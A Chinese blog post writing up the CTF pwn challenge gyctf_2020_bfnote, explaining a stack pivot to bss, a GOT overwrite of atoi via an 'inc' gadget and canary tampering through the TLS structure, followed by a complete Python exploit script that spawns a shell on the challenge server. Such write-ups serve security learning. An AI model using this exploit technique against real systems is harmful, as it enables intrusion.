gyctf_2020_bfnote

gyctf_2020_bfnote

也是一道利用tls结构体来修改canary的题目,只不过这个是控制父进程的tls(父进程的tls结构体位于映射区,子进程的在栈的高地址处,其实都是在映射区,只不过子进程的栈也在映射区,故可能更好控制)

保护策略

image-20221205115319971

漏洞利用

image-20221205115521694

1、栈溢出的时候控制ebp打一个栈迁移到bss

2、向bss输入的数据作用是修改atoi的got表,

3、通过控制索引修改canary

需要注意的是第二步修改atoi的方法利用了inc x 这个指令,这个意思是将x加一,这是因为地址的后一个半字节不变,而我们所作的就是从倒数第二个字节开始加,让这二者保持一致,最后一个字节同过再执行一个read输入,当然你也可以爆破

image-20221205120820426

image-20221205121230700

由于bss所给的版本找不到,所以还需要自己用readelf再找一下二者的偏移

image-20221205121952659

exp

from tools import*
context.log_level='debug'

p,e,libc=load('a','node4.buuoj.cn:28185')
inc_ebp=0x08048434 #inc dword ptr [ebp - 0x17fa8b40] ; ret 0
pop_ebp=0x080489db
#can stack over
debug(p,0x80487FC,0x804882A,0x80488E2,0x804895E)
payload=b'a'*0X32+p32(0xdeadbeef)+p32(0)+p32(0x0804A060+4)+p32(0)#bss

p.sendlineafter("Give your description : ",payload)
#bss 
payload=p32(pop_ebp)+p32(0x804a02d+0x17fa8b40)+p32(inc_ebp)*0xd9#0xdb
payload+=p32(e.plt['read'])+p32(0x08048656)+p32(0)+p32(e.got['atol'])+p32(0x100)+p32(0x08048656)
p.sendlineafter("Give your postscript : ",payload)

p.sendlineafter("Give your notebook size : ",str(0x50000))

p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
p.sendlineafter("\nGive your title : ",'c'*0x10)
p.sendlineafter("Give your note : ",p32(0xdeadbeef))

pause()
p.send('\x40')
pause()
p.send("/bin/sh\x00")

p.interactive()

参考

gyctf_2020_bfnote | ZIKH26's Blog

posted @ 2022-12-05 12:22  何思泊河  阅读(72)  评论(0)    收藏  举报